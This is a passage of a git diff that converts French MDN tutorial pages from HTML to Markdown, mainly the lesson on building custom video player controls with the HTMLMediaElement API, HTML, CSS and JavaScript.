-<p>Nous n'allons pas détailler plus encore cet exemple ici, vous pouvez <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/third-party-apis/youtube">consulter le code source</a> qui contient des commentaires expliquant son fonctionnement. Là encore, pour utiliser vous-même l'exemple, vous aurez besoin de récupérer une clé d'API et de l'insérer dans le code afin que les exemples fonctionnent.</p> +Nous n'allons pas détailler plus encore cet exemple ici, vous pouvez [consulter le code source](https://github.com/mdn/learning-area/tree/master/javascript/apis/third-party-apis/youtube) qui contient des commentaires expliquant son fonctionnement. Là encore, pour utiliser vous-même l'exemple, vous aurez besoin de récupérer une clé d'API et de l'insérer dans le code afin que les exemples fonctionnent. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Dans cet article, nous avons vu une introduction à l'utilisation des API tierces afin d'ajouter des fonctionnalités à nos sites web.</p> +Dans cet article, nous avons vu une introduction à l'utilisation des API tierces afin d'ajouter des fonctionnalités à nos sites web. -<p>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Introduction">Une introduction aux API Web</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipuler les documents</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data">Récupérer des données du serveur</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs">Les API tierces</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des graphiques</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">Les API pour l'audio et la vidéo</a></li> - <li><a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage">Stockage côté client</a></li> -</ul> +- [Une introduction aux API Web](/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Introduction) +- [Manipuler les documents](/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents) +- [Récupérer des données du serveur](/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data) +- [Les API tierces](/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs) +- [Dessiner des graphiques](/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics) +- [Les API pour l'audio et la vidéo](/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs) +- [Stockage côté client](/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage) diff --git a/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.md b/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.md index a091835f18..c29906bb7f 100644 --- a/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.md @@ -14,101 +14,114 @@ tags: translation_of: Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs original_slug: Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Learn/JavaScript/Client-side_web_APIs")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Learn/JavaScript/Client-side_web_APIs")}}</div> - -<p>HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc<em>. </em>Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés.</p> +HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc*.* Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Les bases du JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas en JavaScript</a>, <a href="/fr/Apprendre/JavaScript/Building_blocks">les briques Javascript</a>, <a href="/fr/docs/Learn/JavaScript/Objects">Introduction aux objets</a>), <a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction">Introduction aux APIs web</a></td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Apprendre à utiliser les APIs du navigateur pour contrôler la lecture de audio et vidéo.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Les bases du JavaScript (voir <a + href="/fr/docs/Learn/JavaScript/First_steps" + >premiers pas en JavaScript</a + >, + <a href="/fr/Apprendre/JavaScript/Building_blocks" + >les briques Javascript</a + >, + <a href="/fr/docs/Learn/JavaScript/Objects">Introduction aux objets</a + >), <a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction" + >Introduction aux APIs web</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Apprendre à utiliser les APIs du navigateur pour contrôler la lecture de + audio et vidéo. + </td> + </tr> + </tbody> </table> -<h2 id="Les_balises_HTML5_video_et_audio">Les balises HTML5 video et audio</h2> +## Les balises HTML5 video et audio + +Les balises {{htmlelement("video")}} et {{htmlelement("audio")}} permettent d'intégrer des vidéos et de l'audio dans des pages web. Comme nous l'avons montré dans [Contenu audio et vidéo](/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video), une implémentation habituelle ressemble à ça : -<p>Les balises {{htmlelement("video")}} et {{htmlelement("audio")}} permettent d'intégrer des vidéos et de l'audio dans des pages web. Comme nous l'avons montré dans <a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video">Contenu audio et vidéo</a>, une implémentation habituelle ressemble à ça :</p> +```html +<video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Votre navigateur ne supporte pas la vidéo HTML5. Voici à la place <a href="rabbit320.mp4">un lien vers la vidéo</a>.</p> +</video> +``` -<pre class="brush: html"><video controls> - <source src="rabbit320.mp4" type="video/mp4"> - <source src="rabbit320.webm" type="video/webm"> - <p>Votre navigateur ne supporte pas la vidéo HTML5. Voici à la place <a href="rabbit320.mp4">un lien vers la vidéo</a>.</p> -</video></pre> +Cela crée un lecteur vidéo à l'intérieur du navigateur: -<p>Cela crée un lecteur vidéo à l'intérieur du navigateur:</p> +{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html", '100%', 380)}} -<p>{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html", '100%', 380)}}</p> +Vous pouvez consulter toutes fonctionnalités HTML audio et vidéo dans l'article mentionné précédemment. Pour notre utilisation ici, l'attribut le plus intéressant est {{htmlattrxref("controls", "video")}}. Il permet d'activer l'ensemble des contrôles de lecture par défaut; si vous ne le spécifiez pas, vous aucun contrôle ne sera affiché: -<p>Vous pouvez consulter toutes fonctionnalités HTML audio et vidéo dans l'article mentionné précédemment. Pour notre utilisation ici, l'attribut le plus intéressant est {{htmlattrxref("controls", "video")}}. Il permet d'activer l'ensemble des contrôles de lecture par défaut; si vous ne le spécifiez pas, vous aucun contrôle ne sera affiché:</p> +{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats-no-controls.html", '100%', 380)}} -<p>{{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats-no-controls.html", '100%', 380)}}</p> +Ce n'est pas immédiatement utile pour la lecture de vidéos, mais ça a des avantages. Les contrôles natifs des navigateurs différent complètement d'un navigateur à l'autre — ce qui est embêtant pour un support global des différents navigateurs. Un autre problème est que le contrôles natifs sont généralement assez peu accessibles au clavier. -<p>Ce n'est pas immédiatement utile pour la lecture de vidéos, mais ça a des avantages. Les contrôles natifs des navigateurs différent complètement d'un navigateur à l'autre — ce qui est embêtant pour un support global des différents navigateurs. Un autre problème est que le contrôles natifs sont généralement assez peu accessibles au clavier.</p> +Vous pouvez régler ces deux problèmes en cachant les contrôles natifs (en supprimant l'attribut `controls`) et en les remplaçant par les votres en HTML, CSS et JavaScript. Dans la prochaine section, nous verrons les outils de base à notre disposition pour faire ça. -<p>Vous pouvez régler ces deux problèmes en cachant les contrôles natifs (en supprimant l'attribut <code>controls</code>) et en les remplaçant par les votres en HTML, CSS et JavaScript. Dans la prochaine section, nous verrons les outils de base à notre disposition pour faire ça.</p> +## L'API HTMLMediaElement -<h2 id="L'API_HTMLMediaElement">L'API HTMLMediaElement</h2> +L'API {{domxref("HTMLMediaElement")}}, spécifiée dans HTML5, fournit des fonctionnalités qui permettent de controller des lecteurs audio et vidéo avec JavaScript — avec par exemple {{domxref("HTMLMediaElement.play()")}} ou encore {{domxref("HTMLMediaElement.pause()")}}. Cette interface est disponible à la fois pour les balises {{htmlelement("audio")}} et {{htmlelement("video")}}, les fonctionnalités utiles pour les deux étant quasiment identiques. Voyons un exemple pour découvrir ces fonctionnalités. -<p>L'API {{domxref("HTMLMediaElement")}}, spécifiée dans HTML5, fournit des fonctionnalités qui permettent de controller des lecteurs audio et vidéo avec JavaScript — avec par exemple {{domxref("HTMLMediaElement.play()")}} ou encore {{domxref("HTMLMediaElement.pause()")}}. Cette interface est disponible à la fois pour les balises {{htmlelement("audio")}} et {{htmlelement("video")}}, les fonctionnalités utiles pour les deux étant quasiment identiques. Voyons un exemple pour découvrir ces fonctionnalités.</p> +Notre exemple final ressemblera (et fonctionnera) comme ceci: -<p>Notre exemple final ressemblera (et fonctionnera) comme ceci:</p> +{{EmbedGHLiveSample("learning-area/javascript/apis/video-audio/finished/", '100%', 360)}} -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/video-audio/finished/", '100%', 360)}}</p> +### Débuter -<h3 id="Débuter">Débuter</h3> +Pour commencer avec cet exemple, [télechargez notre media-player-start.zip](https://github.com/mdn/learning-area/raw/master/javascript/apis/video-audio/start/media-player-start.zip) et décompressez-le dans un nouveau dossier sur votre disque dur. Si vous avez téléchargé notre dépôt d'exemples, vous le trouverez dans `javascript/apis/video-audio/start/`. -<p>Pour commencer avec cet exemple, <a href="https://github.com/mdn/learning-area/raw/master/javascript/apis/video-audio/start/media-player-start.zip">télechargez notre media-player-start.zip</a> et décompressez-le dans un nouveau dossier sur votre disque dur. Si vous avez téléchargé notre dépôt d'exemples, vous le trouverez dans <code>javascript/apis/video-audio/start/</code>.</p> +Si vous ouvrez la page HTML, vous devriez voir un lecteur HTML5 utilisant les contrôles natifs. -<p>Si vous ouvrez la page HTML, vous devriez voir un lecteur HTML5 utilisant les contrôles natifs.</p> +#### Exploration du HTML -<h4 id="Exploration_du_HTML">Exploration du HTML</h4> +Ouvrez le fichier HTML d'index. Vous allez voir que le HTML contient majoritairement du code pour le lecteur et ses contrôles: -<p>Ouvrez le fichier HTML d'index. Vous allez voir que le HTML contient majoritairement du code pour le lecteur et ses contrôles:</p> +```html +<div class="player"> + <video controls> + <source src="video/sintel-short.mp4" type="video/mp4"> + <source src="video/sintel-short.mp4" type="video/webm"> + <!-- fallback contenu ici --> + </video> + <div class="controls"> + <button class="play" data-icon="P" aria-label="bascule lecture pause"></button> + <button class="stop" data-icon="S" aria-label="stop"></button> + <div class="timer"> + <div></div> + <span aria-label="timer">00:00</span> + </div> + <button class="rwd" data-icon="B" aria-label="retour arrière"></button> + <button class="fwd" data-icon="F" aria-label="avance rapide"></button> + </div> +</div> +``` -<pre class="brush: html"><div class="player"> - <video controls> - <source src="video/sintel-short.mp4" type="video/mp4"> - <source src="video/sintel-short.mp4" type="video/webm"> - <!-- fallback contenu ici --> - </video> - <div class="controls"> - <button class="play" data-icon="P" aria-label="bascule lecture pause"></button> - <button class="stop" data-icon="S" aria-label="stop"></button> - <div class="timer"> - <div></div> - <span aria-label="timer">00:00</span> - </div> - <button class="rwd" data-icon="B" aria-label="retour arrière"></button> - <button class="fwd" data-icon="F" aria-label="avance rapide"></button> - </div> -</div> -</pre> +- Le lecteur complet est englobé dans une balise {{htmlelement("div")}} pour pouvoir appliquer du style sur le bloc complet si nécessaire. +- La balise {{htmlelement("video")}} contient deux éléments {{htmlelement("source")}} pour permettre la lecture du média selon les capacités de chaque navigateur. +- La partie _controls_ du HTML est la plus intéressante: -<ul> - <li>Le lecteur complet est englobé dans une balise {{htmlelement("div")}} pour pouvoir appliquer du style sur le bloc complet si nécessaire.</li> - <li>La balise {{htmlelement("video")}} contient deux éléments {{htmlelement("source")}} pour permettre la lecture du média selon les capacités de chaque navigateur.</li> - <li>La partie <em>controls</em> du HTML est la plus intéressante: - <ul> - <li>Il contient 4 {{htmlelement("button")}} : lecture/mise en pause, stop, retour arrière et avance rapide.</li> - <li>Chaque <code><button></code> a un nom de classe, un attribut <code>data-icon</code> (pour définir l'icône affichée), et un attribut <code>aria-label</code> (qui fournit une description de chaque bouton pour le rendre accessible). Le contenu d'un attribut <code>aria-label</code> est lu par les lecteurs d'écran quand l'élément sur lequel il se situe prend le focus.</li> - <li>Il y a également un élément {{htmlelement("div")}}, qui affiche le temps écoulé quand la vidéo est en cours de lecture. Pour s'amuser, nous avons mis deux mécanismes en place — un {{htmlelement("span")}} qui affiche le temps écoulé en minutes/secondes, et un autre <code><div></code> pour afficher une barre de progrès. Pour vous faire une idée du produit final, vous pouvez jeter un d'oeil à <a href="https://mdn.github.io/learning-area/javascript/apis/video-audio/finished/">la version finie</a>.</li> - </ul> - </li> -</ul> + - Il contient 4 {{htmlelement("button")}} : lecture/mise en pause, stop, retour arrière et avance rapide. + - Chaque `<button>` a un nom de classe, un attribut `data-icon` (pour définir l'icône affichée), et un attribut `aria-label` (qui fournit une description de chaque bouton pour le rendre accessible). Le contenu d'un attribut `aria-label` est lu par les lecteurs d'écran quand l'élément sur lequel il se situe prend le focus. + - Il y a également un élément {{htmlelement("div")}}, qui affiche le temps écoulé quand la vidéo est en cours de lecture. Pour s'amuser, nous avons mis deux mécanismes en place — un {{htmlelement("span")}} qui affiche le temps écoulé en minutes/secondes, et un autre `<div>` pour afficher une barre de progrès. Pour vous faire une idée du produit final, vous pouvez jeter un d'oeil à [la version finie](https://mdn.github.io/learning-area/javascript/apis/video-audio/finished/). -<h4 id="Exploration_du_CSS">Exploration du CSS</h4> +#### Exploration du CSS -<p>Maintenant, ouvrez le fichier CSS et jetez-y un coup d'oeil. Le CSS pour cet exemple n'est pas très compliqué, mais nous allons voir les éléments les plus intéressants ici. Tout d'abord, le style de <code>.controls</code>:</p> +Maintenant, ouvrez le fichier CSS et jetez-y un coup d'oeil. Le CSS pour cet exemple n'est pas très compliqué, mais nous allons voir les éléments les plus intéressants ici. Tout d'abord, le style de `.controls`: -<pre class="brush: css">.controls { +```css +.controls { visibility: hidden; opacity: 0.5; width: 400px; @@ -126,17 +139,16 @@ original_slug: Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs .player:hover .controls, player:focus .controls { opacity: 1; } -</pre> +``` -<ul> - <li>Nous commençons par définir la propriété {{cssxref("visibility")}} à <code>hidden</code>. Plus tard dans notre JavaScript, nous le rendrons <code>visible</code>, et supprimerons l'attribut <code>controls</code> de l'élément <code><video></code>. Ainsi, si pour une raison quelconque le JavaScript ne se charge pas, les utilisateurs peuvent toujours utiliser la vidéo avec les contrôles natifs.</li> - <li>Nous donnons aux propriétés une {{cssxref("opacity")}} de 0.5 par défaut, pour qu'ils ne soient pas génants lorsqu'on veut regarder la vidéo. Ce n'est qu'en passant la souris sur le lecteur que les contrôles sont affichés en pleine opacité.</li> - <li>Ne plaçons les boutons à l'intérieur du div en utilisant Flexbox ({{cssxref("display")}}: flex), c'est plus simple comme ça.</li> -</ul> +- Nous commençons par définir la propriété {{cssxref("visibility")}} à `hidden`. Plus tard dans notre JavaScript, nous le rendrons `visible`, et supprimerons l'attribut `controls` de l'élément `<video>`. Ainsi, si pour une raison quelconque le JavaScript ne se charge pas, les utilisateurs peuvent toujours utiliser la vidéo avec les contrôles natifs. +- Nous donnons aux propriétés une {{cssxref("opacity")}} de 0.5 par défaut, pour qu'ils ne soient pas génants lorsqu'on veut regarder la vidéo. Ce n'est qu'en passant la souris sur le lecteur que les contrôles sont affichés en pleine opacité. +- Ne plaçons les boutons à l'intérieur du div en utilisant Flexbox ({{cssxref("display")}}: flex), c'est plus simple comme ça. -<p>Ensuite, voyons les icônes des boutons:</p> +Ensuite, voyons les icônes des boutons: -<pre class="brush: css">@font-face { +```css +@font-face { font-family: 'HeydingsControlsRegular'; src: url('fonts/heydings_controls-webfont.eot'); src: url('fonts/heydings_controls-webfont.eot?#iefix') format('embedded-opentype'), @@ -153,23 +165,23 @@ button:before { content: attr(data-icon); color: #aaa; text-shadow: 1px 1px 0px black; -}</pre> +} +``` -<p>Tout d'abord, en haut du CSS, nous utilisons un bloc {{cssxref("@font-face")}} pour importer une police web personnalisée. Il s'agit d'une police d'icônes — tous les caractères de l'alphabet correspondent à des icônes que vous pouvez utiliser dans votre application.</p> +Tout d'abord, en haut du CSS, nous utilisons un bloc {{cssxref("@font-face")}} pour importer une police web personnalisée. Il s'agit d'une police d'icônes — tous les caractères de l'alphabet correspondent à des icônes que vous pouvez utiliser dans votre application. -<p>Ensuite, nous générons du contenu pour afficher une icône sur chaque bouton:</p> +Ensuite, nous générons du contenu pour afficher une icône sur chaque bouton: -<ul> - <li>Nous utilisons le sélecteur {{cssxref("::before")}} pour afficher le contenu au début de chaque élément {{htmlelement("button")}}.</li> - <li>Nous utilisons la propriété {{cssxref("content")}} pour que le contenu à afficher soit égal au contenu de l'attribut <code><a href="/fr/Apprendre/HTML/Comment/Utiliser_attributs_donnes">data-icon</a></code>. Dans le cas du bouton play par exemple, <code>data-icon</code> contient un "P" majuscule.</li> - <li>Nous apliquons la police web personnalisée au bouton en utilisant {{cssxref("font-family")}}. Dans cette police, "P" est une icône "play", donc le bouton play a une icône "play" affichée dedans.</li> -</ul> +- Nous utilisons le sélecteur {{cssxref("::before")}} pour afficher le contenu au début de chaque élément {{htmlelement("button")}}. +- Nous utilisons la propriété {{cssxref("content")}} pour que le contenu à afficher soit égal au contenu de l'attribut [`data-icon`](/fr/Apprendre/HTML/Comment/Utiliser_attributs_donnes). Dans le cas du bouton play par exemple, `data-icon` contient un "P" majuscule. +- Nous apliquons la police web personnalisée au bouton en utilisant {{cssxref("font-family")}}. Dans cette police, "P" est une icône "play", donc le bouton play a une icône "play" affichée dedans. -<p>Les polices d'icônes sont très cool pour de nombreuses raisons: réduire les requêtes HTTP (puisque vous n'avez pas besoin de télécharger des icônes sous forme de fichiers image), bonne scalabilité, et le fait que vous pouvez utiliser les propriétés de texte pour les formatter — comme {{cssxref("color")}} et {{cssxref("text-shadow")}}.</p> +Les polices d'icônes sont très cool pour de nombreuses raisons: réduire les requêtes HTTP (puisque vous n'avez pas besoin de télécharger des icônes sous forme de fichiers image), bonne scalabilité, et le fait que vous pouvez utiliser les propriétés de texte pour les formatter — comme {{cssxref("color")}} et {{cssxref("text-shadow")}}. -<p>Dernier point mais non des moindres, le CSS du décompte:</p> +Dernier point mais non des moindres, le CSS du décompte: -<pre class="brush: css">.timer { +```css +.timer { line-height: 38px; font-size: 10px; font-family: monospace; @@ -193,231 +205,215 @@ button:before { position: absolute; z-index: 3; left: 19px; -}</pre> - -<ul> - <li>Nous donnons au <code><div></code> <code>.timer</code> la propriété <code>flex: 5</code>, pour qu'il occupe la plus grande partie de la barre de contrôle en largeur. Nous ajoutons également {{cssxref("position")}}<code>: relative</code>, pour que les éléments à l'intérieur puissent être positionnés relativement à ses dimensions et non à celles de l'élément {{htmlelement("body")}}.</li> - <li>Le <code><div></code> interne est positionné en absolu pour être situé au-dessus du <code><div></code> externe. On lui donne également une largeur initiale de 0, de sorte qu'on ne le voie pas du tout. Au fur et à mesure de la lecture de la vidéo, la largeur sera augmentée via JavaScript.</li> - <li>Le <code><span></code> est également positionné en absolu pour être situé sur le côté gauche de la barre de progrès.</li> - <li>Nous donnons au <code><div></code> et au <code><span></code> le {{cssxref("z-index")}} approprié pour que les données soient visibles — qu'un élément n'en cache pas un autre.</li> -</ul> - -<h3 id="Implémenter_le_JavaScript">Implémenter le JavaScript</h3> - -<p>Nous avons déjà une interface HTML et CSS assez complète; nous avons maintenant besoin de gérer les boutons pour que les contrôles fonctionnent.</p> - -<ol> - <li> - <p>Créez un nouveau fichier JavaScript dans le même répertoire que votre fichier index.html. Nous l'appelerons <code>custom-player.js</code>.</p> - </li> - <li> - <p>En haut de ce fichier, insérez le code suivant:</p> - - <pre class="brush: js">var media = document.querySelector('video'); -var controls = document.querySelector('.controls'); - -var play = document.querySelector('.play'); -var stop = document.querySelector('.stop'); -var rwd = document.querySelector('.rwd'); -var fwd = document.querySelector('.fwd'); - -var timerWrapper = document.querySelector('.timer'); -var timer = document.querySelector('.timer span'); -var timerBar = document.querySelector('.timer div'); -</pre> - - <p>Ici, nous créons des variables pour stocker les références de tous les objets que nous voulons manipuler. Nous avons trois groupes:</p> - - <ul> - <li>L'élément <code><video></code>, et la barre de contrôle.</li> - <li>Les boutons play/pause, stop, retour arrière, et avance rapide.</li> - <li>Le <code><div></code> externe, le <code><span></code> qui décompte le temps écoulé, et le <code><div></code> interne qui affiche le progrès de la vidéo.</li> - </ul> - </li> - <li> - <p>Ensuite, insérez ce qui suit en bas de votre code:</p> - - <pre class="brush: js">media.removeAttribute('controls'); -controls.style.visibility = 'visible';</pre> - - <p>Ces deux lignes suppriment les contrôles par défaut du navigateur sur la vidéo, et rendent nos contrôles personnalisés visibles.</p> - </li> -</ol> - -<h4 id="Lecture_et_pause_de_la_vidéo">Lecture et pause de la vidéo</h4> - -<p>Imlémentons le contrôle le plus important — le bouton play/pause.</p> - -<ol> - <li> - <p>Tout d'abord, ajoutez ce qui suit au bas de votre code, pour que la fonction <code>playPauseMedia()</code> soit invoquée quand le bouton play est cliqué:</p> - - <pre class="brush: js">play.addEventListener('click', playPauseMedia); -</pre> - </li> - <li> - <p>Maintenant, définissons <code>playPauseMedia()</code> — ajoutez ce qui suit, toujours au bas de votre code:</p> - - <pre class="brush: js">function playPauseMedia() { - if(media.paused) { - play.setAttribute('data-icon','u'); - media.play(); - } else { - play.setAttribute('data-icon','P'); - media.pause(); - } -}</pre> +} +``` - <p>Ici, nous utilisons une instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if</a></code> pour vérifier si la vidéo est en pause. La propriété {{domxref("HTMLMediaElement.paused")}} retourne vrai si le média est en pause — c'est le cas quand la vidéo n'est pas en cours de lecture, y compris quand la vidéo est au début après son chargement. Si elle est en pause, nous définissons la valeur de l'attribut <code>data-icon</code> à "u", qui est une icône "en pause", et invoquons la méthode {{domxref("HTMLMediaElement.play()")}} pour jouer le média.</p> +- Nous donnons au `<div>` `.timer` la propriété `flex: 5`, pour qu'il occupe la plus grande partie de la barre de contrôle en largeur. Nous ajoutons également {{cssxref("position")}}`: relative`, pour que les éléments à l'intérieur puissent être positionnés relativement à ses dimensions et non à celles de l'élément {{htmlelement("body")}}. +- Le `<div>` interne est positionné en absolu pour être situé au-dessus du `<div>` externe. On lui donne également une largeur initiale de 0, de sorte qu'on ne le voie pas du tout. Au fur et à mesure de la lecture de la vidéo, la largeur sera augmentée via JavaScript. +- Le `<span>` est également positionné en absolu pour être situé sur le côté gauche de la barre de progrès. +- Nous donnons au `<div>` et au `<span>` le {{cssxref("z-index")}} approprié pour que les données soient visibles — qu'un élément n'en cache pas un autre. - <p>Au second clic, le bouton sera de nouveau alterné — l'icône "play" sera affiché, et la vidéo sera mise en pause avec {{domxref("HTMLMediaElement.paused()")}}.</p> - </li> -</ol> +### Implémenter le JavaScript -<h4 id="Stopper_la_vidéo">Stopper la vidéo</h4> +Nous avons déjà une interface HTML et CSS assez complète; nous avons maintenant besoin de gérer les boutons pour que les contrôles fonctionnent. -<ol> - <li> - <p>Ajoutons la possibilité d'arrêter la vidéo. Ajoutez les lignes <code><a href="/fr/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> suivantes au-dessous de vos ajouts précédents:</p> +1. Créez un nouveau fichier JavaScript dans le même répertoire que votre fichier index.html. Nous l'appelerons `custom-player.js`. +2. En haut de ce fichier, insérez le code suivant: - <pre class="brush: js">stop.addEventListener('click', stopMedia); -media.addEventListener('ended', stopMedia); -</pre> + ```js + var media = document.querySelector('video'); + var controls = document.querySelector('.controls'); - <p>L'événement {{event("click")}} est explicite — nous voulons stopper la vidéo en appelant la fonction <code>stopMedia()</code> quand le bouton stop est cliqué. Cependant, nous voulons également stopper la vidéo quand elle a fini de jouer — signalé par l'événement {{event("ended")}}, nous pouvons donc mettre en place un gestionnaire d'événement pour exécuter la fonction quand cet événément se produit.</p> - </li> - <li> - <p>Ensuite, définissons <code>stopMedia()</code> — ajoutez ce qui suit après la fonction <code>playPauseMedia()</code>:</p> + var play = document.querySelector('.play'); + var stop = document.querySelector('.stop'); + var rwd = document.querySelector('.rwd'); + var fwd = document.querySelector('.fwd'); - <pre class="brush: js">function stopMedia() { - media.pause(); - media.currentTime = 0; - play.setAttribute('data-icon','P'); -} -</pre> + var timerWrapper = document.querySelector('.timer'); + var timer = document.querySelector('.timer span'); + var timerBar = document.querySelector('.timer div'); + ``` - <p>Il n'y a pas de méthode <code>stop()</code> dans l'API HTMLMediaElement — l'équivalent du stop est de mettre <code>pause()</code> sur la vidéo, et de définir la propriété {{domxref("HTMLMediaElement.currentTime","currentTime")}} à 0. Définir une valeur à <code>currentTime</code> (en secondes) change immédiatement la position du temps du média.</p> + Ici, nous créons des variables pour stocker les références de tous les objets que nous voulons manipuler. Nous avons trois groupes: - <p>Tout ce qui nous reste à faire après ça est d'afficher l'icône "play". Que la vidéo ait été en train de jouer ou en pause, quand le bouton stop est pressé, vous voulez qu'elle doit prête à être lue.</p> - </li> -</ol> + - L'élément `<video>`, et la barre de contrôle. + - Les boutons play/pause, stop, retour arrière, et avance rapide. + - Le `<div>` externe, le `<span>` qui décompte le temps écoulé, et le `<div>` interne qui affiche le progrès de la vidéo. -<h4 id="Retour_arrière_et_avance_rapide">Retour arrière et avance rapide</h4> +3. Ensuite, insérez ce qui suit en bas de votre code: -<p>Il y a différentes manières d'implémenter le retour arrière et l'avance rapide; ici, nous vous montrons une manière relativement complexe de le faire, qui n'a pas de comportement inattendu quand différents boutons sont pressés dans un ordre aléatoire.</p> + ```js + media.removeAttribute('controls'); + controls.style.visibility = 'visible'; + ``` -<ol> - <li> - <p>Tout d'abord, ajoutez les lignes <code><a href="/fr/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> suivantes à la suite des précédentes:</p> + Ces deux lignes suppriment les contrôles par défaut du navigateur sur la vidéo, et rendent nos contrôles personnalisés visibles. - <pre class="brush: js">rwd.addEventListener('click', mediaBackward); -fwd.addEventListener('click', mediaForward); -</pre> - </li> - <li> - <p>Maintenant, occupons-nous des fonctions des gestionnaires d'événément — ajoutez le code suivant à la suite des fonctions précédentes pour définir <code>mediaBackward()</code> et <code>mediaForward()</code>:</p> +#### Lecture et pause de la vidéo - <pre class="brush: js">var intervalFwd; -var intervalRwd; +Imlémentons le contrôle le plus important — le bouton play/pause. -function mediaBackward() { - clearInterval(intervalFwd); - fwd.classList.remove('active'); +1. Tout d'abord, ajoutez ce qui suit au bas de votre code, pour que la fonction `playPauseMedia()` soit invoquée quand le bouton play est cliqué: - if(rwd.classList.contains('active')) { - rwd.classList.remove('active'); - clearInterval(intervalRwd); - media.play(); - } else { - rwd.classList.add('active'); - media.pause(); - intervalRwd = setInterval(windBackward, 200); - } -} + ```js + play.addEventListener('click', playPauseMedia); + ``` -function mediaForward() { - clearInterval(intervalRwd); - rwd.classList.remove('active'); +2. Maintenant, définissons `playPauseMedia()` — ajoutez ce qui suit, toujours au bas de votre code: - if(fwd.classList.contains('active')) { - fwd.classList.remove('active'); - clearInterval(intervalFwd); - media.play(); - } else { - fwd.classList.add('active'); - media.pause(); - intervalFwd = setInterval(windForward, 200); - } -} -</pre> - - <p>Vous remarquerez que nous commençons par initialiser deux variables — <code>intervalFwd</code> et <code>intervalRwd</code> — vous verrez à quoi elles servent plus tard.</p> - - <p>Voyons pas à pas <code>mediaBackward()</code> (<code>mediaForward()</code> fait la même chose, mais dans l'autre sens):</p> - - <ol> - <li>Nous effaçons les classes et intervales qui sont définits sur la fonctionnalité d'avance rapide — de cette manière, si on presse le bouton <code>rwd</code> après avoir pressé le bouton <code>fwd</code>, on annule l'avance rapide et la remplaçons avec le retour arrière. Si on essayait de faire les deux à la fois, le lecteur échouerait.</li> - <li>Nous utilisons une instruction <code>if</code> pour vérifier si la classe <code>active</code> a été définie sur le bouton <code>rwd</code>, ce qui indique qu'il a déjà été pressé. La propriété {{domxref("classList")}} est une propriété plutôt pratique qui existe sur chaque élément — elle contient une liste de toutes les classes définies sur l'élément, ainsi que des méthodes pour en ajouter/supprimer, etc. Nous utilisons la méthode <code>classList.contains()</code> pour vérifier si la liste contient la classe <code>active</code>. Cela retourne un 